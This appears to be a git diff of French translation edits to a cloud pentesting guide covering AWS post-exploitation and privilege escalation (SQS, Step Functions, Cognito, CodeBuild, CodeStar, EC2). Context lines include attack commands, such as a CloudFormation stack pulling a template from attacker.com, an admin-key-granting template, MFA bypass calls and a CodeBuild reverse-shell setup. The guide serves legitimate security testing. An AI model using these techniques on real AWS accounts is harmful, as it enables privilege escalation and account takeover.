 ```bash
 aws sqs tag-queue --queue-url  --tags Key=,Value=
 aws sqs untag-queue --queue-url  --tag-keys 
@@ -64,7 +64,7 @@ aws sqs untag-queue --queue-url  --tag-keys 
 
 ### `sqs:RemovePermission`
 
-Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file d'attente SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file d'attente.
+Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file.
 ```arduino
 arduinoCopy codeaws sqs remove-permission --queue-url  --label 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index d28dbfef6..dc6f816e0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Step Functions Post Exploitation
+# AWS - Post-exploitation des Step Functions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -37,11 +37,11 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn 
 
 ### `states:UpdateMapRun`
 
-Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de l'exécution de la carte et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte qu'à chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.
+Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de Map Run et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte qu'à chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.
 ```bash
 aws stepfunctions update-map-run --map-run-arn  [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
 ```
-- **Impact potentiel** : Dégradation des performances et interruption des flux de travail critiques.
+- **Impact potentiel** : Dégradation des performances et perturbation des flux de travail critiques.
 
 ### `states:StopExecution`
 
@@ -56,7 +56,7 @@ aws stepfunctions stop-execution --execution-arn  [--error ] [--ca
 
 ### `states:TagResource`, `states:UntagResource`
 
-Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises.
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises.
 ```bash
 aws stepfunctions tag-resource --resource-arn  --tags Key=,Value=
 aws stepfunctions untag-resource --resource-arn  --tag-keys 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 129804695..cc2191cb1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
 
-
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index 231908047..4376021da 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -7,7 +7,7 @@
 La façon d'élever vos privilèges dans AWS est d'avoir suffisamment de permissions pour pouvoir, d'une manière ou d'une autre, accéder aux privilèges d'autres rôles/utilisateurs/groupes. Enchaînant les élévations jusqu'à obtenir un accès administrateur sur l'organisation.
 
 > [!WARNING]
-> AWS a **des centaines** (voire des milliers) de **permissions** qui peuvent être accordées à une entité. Dans ce livre, vous pouvez trouver **toutes les permissions que je connais** que vous pouvez abuser pour **élever des privilèges**, mais si vous **connaissez un chemin** non mentionné ici, **merci de le partager**.
+> AWS a **des centaines** (si ce n'est des milliers) de **permissions** qu'une entité peut se voir accorder. Dans ce livre, vous pouvez trouver **toutes les permissions que je connais** que vous pouvez abuser pour **élever des privilèges**, mais si vous **connaissez un chemin** non mentionné ici, **merci de le partager**.
 
 > [!CAUTION]
 > Si une politique IAM a `"Effect": "Allow"` et `"NotAction": "Someaction"` indiquant une **ressource**... cela signifie que le **principal autorisé** a **la permission de faire TOUT sauf cette action spécifiée**.\
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 1ebe47191..69e68d71c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### `apigateway:POST`
 
-Avec cette autorisation, vous pouvez générer des clés API des API configurées (par région).
+Avec cette permission, vous pouvez générer des clés API des APIs configurées (par région).
 ```bash
 aws --region  apigateway create-api-key
 ```
@@ -25,7 +25,7 @@ Avec cette autorisation, vous pouvez obtenir les clés API générées des API c
 aws --region  apigateway get-api-keys
 aws --region  apigateway get-api-key --api-key  --include-value
 ```
-**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez avoir accès à des informations sensibles.
+**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles.
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
@@ -35,14 +35,14 @@ aws apigateway update-rest-api \
 --rest-api-id api-id \
 --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-**Impact potentiel :** Vous ne pourrez généralement pas privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles.
+**Impact potentiel :** Vous ne pourrez généralement pas effectuer de privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
 > [!NOTE]
 > Besoin de tests
 
-Un attaquant avec les permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API Gateway REST API existante avec une fonction Lambda qui a un rôle IAM attaché**. L'attaquant peut alors **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**.
+Un attaquant avec les permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API REST API Gateway existante avec une fonction Lambda qui a un rôle IAM attaché**. L'attaquant peut alors **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
 > [!NOTE]
-> Besoin de tests
+> Nécessite des tests
 
-Un attaquant disposant des autorisations `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** pour contourner les vérifications de sécurité ou pour exécuter du code arbitraire lors des requêtes API.
+Un attaquant disposant des autorisations `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** pour contourner les vérifications de sécurité ou exécuter du code arbitraire lors des requêtes API.
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 57a8ca28d..e361fae40 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name  \
 --template-url http://attacker.com/attackers.template \
 --role-arn 
 ```
-Dans la page suivante, vous avez un **exploitation example** avec la permission supplémentaire **`cloudformation:DescribeStacks`** :
+Dans la page suivante, vous avez un **exemple d'exploitation** avec la permission supplémentaire **`cloudformation:DescribeStacks`** :
 
 {{#ref}}
 iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -51,7 +51,7 @@ La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous d
 
 ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-Un attaquant avec des permissions pour **passer un rôle et créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
+Un attaquant ayant les permissions de **passer un rôle et de créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
 
 L'exploitation suivante est une **variation de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilisant les **permissions ChangeSet** pour créer une pile.
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index c1ed78490..e062a2c29 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Un attaquant pourrait par exemple utiliser un **modèle cloudformation** qui génère **des clés pour un utilisateur admin** comme :
+Un attaquant pourrait par exemple utiliser un **cloudformation template** qui génère **des clés pour un utilisateur admin** comme :
 ```json
 {
 "Resources": {
@@ -55,7 +55,7 @@ Un attaquant pourrait par exemple utiliser un **modèle cloudformation** qui gé
 }
 }
 ```
-Puis **générez la pile cloudformation** :
+Ensuite, **générez la pile cloudformation** :
 ```bash
 aws cloudformation create-stack --stack-name privesc \
 --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 0965edbea..aed4cd54d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project  --buildspec-override fi
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Un attaquant avec les permissions **`iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en créant un rôle en cours d'exécution.
+Un attaquant avec les **permissions `iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en en créant un en cours d'exécution.
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
 ```
 {{#endtab }}
 
-{{#tab name="Exemple2" }}
+{{#tab name="Example2" }}
 ```bash
 # Generated by AI, not tested
 # Create a buildspec.yml file with reverse shell command
@@ -150,7 +150,7 @@ aws codebuild start-build --project-name reverse-shell-project
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Tout comme dans la section précédente, si au lieu de créer un projet de build vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
+Tout comme dans la section précédente, si au lieu de créer un projet de construction vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -285,13 +285,13 @@ Et ensuite :
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-Pour plus d'informations [**consultez la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Pour plus d'infos [**consultez la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Un attaquant capable de démarrer/redémarrer une build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
+Un attaquant capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
 
-Remarque : l'escalade est pertinente uniquement si le travailleur CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
+Remarque : l'escalade est pertinente uniquement si le worker CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 7d1e966f5..94d5c1c3c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -51,14 +51,14 @@ codestar-createproject-codestar-associateteammember.md
 
 1. **Créer un nouveau projet :**
 - Utilisez l'action **`codestar:CreateProjectFromTemplate`** pour initier la création d'un nouveau projet.
-- Une fois la création réussie, l'accès est automatiquement accordé pour **`cloudformation:UpdateStack`**.
+- Après une création réussie, l'accès est automatiquement accordé pour **`cloudformation:UpdateStack`**.
 - Cet accès cible spécifiquement une pile associée au rôle IAM `CodeStarWorker--CloudFormation`.
 2. **Mettre à jour la pile cible :**
 - Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.
 - Le nom de la pile conformera généralement à l'un des deux modèles :
 - `awscodestar--infrastructure`
 - `awscodestar--lambda`
-- Le nom exact dépend du modèle choisi (référencer le script d'exploitation exemple).
+- Le nom exact dépend du modèle choisi (se référant au script d'exploitation exemple).
 3. **Accès et permissions :**
 - Après la mise à jour, vous obtenez les capacités assignées au **rôle IAM CloudFormation** lié à la pile.
 - Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 1cc6bd133..1381ae5fa 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-C'est la politique créée à laquelle l'utilisateur peut privesc (le nom du projet était `supercodestar`) :
+Ceci est la politique créée à laquelle l'utilisateur peut privesc (le nom du projet était `supercodestar`) :
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 655f4772b..63546cd94 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer **des actions arbitraires** via un **modèle cloudformation**.
+Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer des **actions arbitraires** via un **modèle cloudformation**.
 
-Pour exploiter cela, vous devez créer un **bucket S3 qui est accessible** depuis le compte attaqué. Téléchargez un fichier appelé `toolchain.json`. Ce fichier doit contenir l'**exploit du modèle cloudformation**. Le suivant peut être utilisé pour définir une politique gérée à un utilisateur sous votre contrôle et **lui donner des permissions d'administrateur** :
+Pour exploiter cela, vous devez créer un **bucket S3 qui est accessible** depuis le compte attaqué. Téléchargez un fichier appelé `toolchain.json`. Ce fichier doit contenir l'**exploitation du modèle cloudformation**. Le suivant peut être utilisé pour définir une politique gérée à un utilisateur sous votre contrôle et **lui donner des permissions d'administrateur** :
 ```json:toolchain.json
 {
 "Resources": {
@@ -79,6 +79,6 @@ aws codestar create-project \
 --source-code file://$SOURCE_CODE_PATH \
 --toolchain file://$TOOLCHAIN_PATH
 ```
-Cet exploit est basé sur le **Pacu exploit de ces privilèges** : [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Vous pouvez y trouver une variation pour créer une politique gérée par l'administrateur pour un rôle au lieu d'un utilisateur.
+Cette exploitation est basée sur le **Pacu exploit de ces privilèges** : [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Vous pouvez y trouver une variation pour créer une politique gérée par un administrateur pour un rôle au lieu d'un utilisateur.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index 00d91fb8a..84453fdbe 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,7 +12,7 @@ Pour plus d'informations sur Cognito, consultez :
 
 ### Récupération des identifiants depuis le Identity Pool
 
-Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiants auparavant).
+Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiant auparavant).
 
 Pour plus d'informations, [**consultez cette page**](../aws-unauthenticated-enum-access/#cognito).
 
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
 ## Get creds for that id
 aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
 ```
-Si l'application cognito **n'a pas les utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer.
+Si l'application cognito **n'a pas d'utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer.
 
 **Impact potentiel :** Privesc direct vers n'importe quel rôle cognito.
 
 ### `cognito-identity:update-identity-pool`
 
-Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il suffit de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**.
+Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il lui suffira de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**.
 ```bash
 # This example is using a Cognito User Pool as identity provider
 ## but you could use any other identity provider
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
 [--validation-data ]
 [--temporary-password ]
 ```
-**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.
+**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur.
 
 ### `cognito-idp:AdminEnableUser`
 
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
 --username  \
 --user-pool-id 
 ```
-**SetUserPoolMfaConfig**: Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un groupe d'utilisateurs afin de contourner la protection MFA.
+**SetUserPoolMfaConfig** : Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA.
 ```bash
 aws cognito-idp set-user-pool-mfa-config \
 --user-pool-id  \
@@ -164,9 +164,9 @@ aws cognito-idp set-user-pool-mfa-config \
 [--software-token-mfa-configuration ] \
 [--mfa-configuration ]
 ```
-**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Vérifiez cli ici](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
 
-**Impact potentiel :** Privesc indirect vers potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA.
+**Impact potentiel :** Privesc indirect à potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA.
 
 ### `cognito-idp:AdminUpdateUserAttributes`
 
@@ -182,7 +182,7 @@ aws cognito-idp admin-update-user-attributes \
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode d'authentification, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...
+Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode pour s'authentifier, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...
 
 La même chose peut être faite si au lieu de créer un nouveau client, un **client existant est modifié**.
 
@@ -237,7 +237,7 @@ aws cognito-idp create-identity-provider \
 C'est une permission très courante par défaut dans les rôles des pools d'identité Cognito. Même si un caractère générique dans une permission semble toujours mauvais (surtout venant d'AWS), les **permissions données ne sont pas super utiles du point de vue d'un attaquant**.
 
 Cette permission permet de lire les informations d'utilisation des pools d'identité et des ID d'identité à l'intérieur des pools d'identité (qui ne sont pas des informations sensibles).\
-Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'informations sensibles (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations.
+Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations.
 
 Un attaquant pourrait également utiliser ces permissions pour **s'inscrire à un flux Cognito qui publie des changements** sur ces datasets ou à une **lambda qui se déclenche sur des événements cognito**. Je n'ai pas vu cela être utilisé, et je ne m'attendrais pas à des informations sensibles ici, mais ce n'est pas impossible.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 508f6571d..0f9a354c8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -1,10 +1,10 @@
-# AWS - Directory Services Privesc
+# AWS - Privesc des Services d'Annuaire
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Services d'annuaire
+## Services d'Annuaire
 
-Pour plus d'informations sur les services d'annuaire, consultez :
+Pour plus d'infos sur les services d'annuaire, consultez :
 
 {{#ref}}
 ../aws-services/aws-directory-services-workdocs-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index e9cedf67b..8d28338d4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,12 +12,12 @@ Pour plus d'informations sur dynamodb, consultez :
 
 ### Post Exploitation
 
-Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
+Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb`**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### TODO: Lire des données en abusant des flux de données
+### TODO: Lire des données en abusant des Data Streams
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 5d60ce7d9..d2e6d2bc6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id  --instance-type t2.micro \
 ```
 - **Accès via rev shell dans les données utilisateur**
 
-Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.
+Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverront un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.
 ```bash
 echo '#!/bin/bash
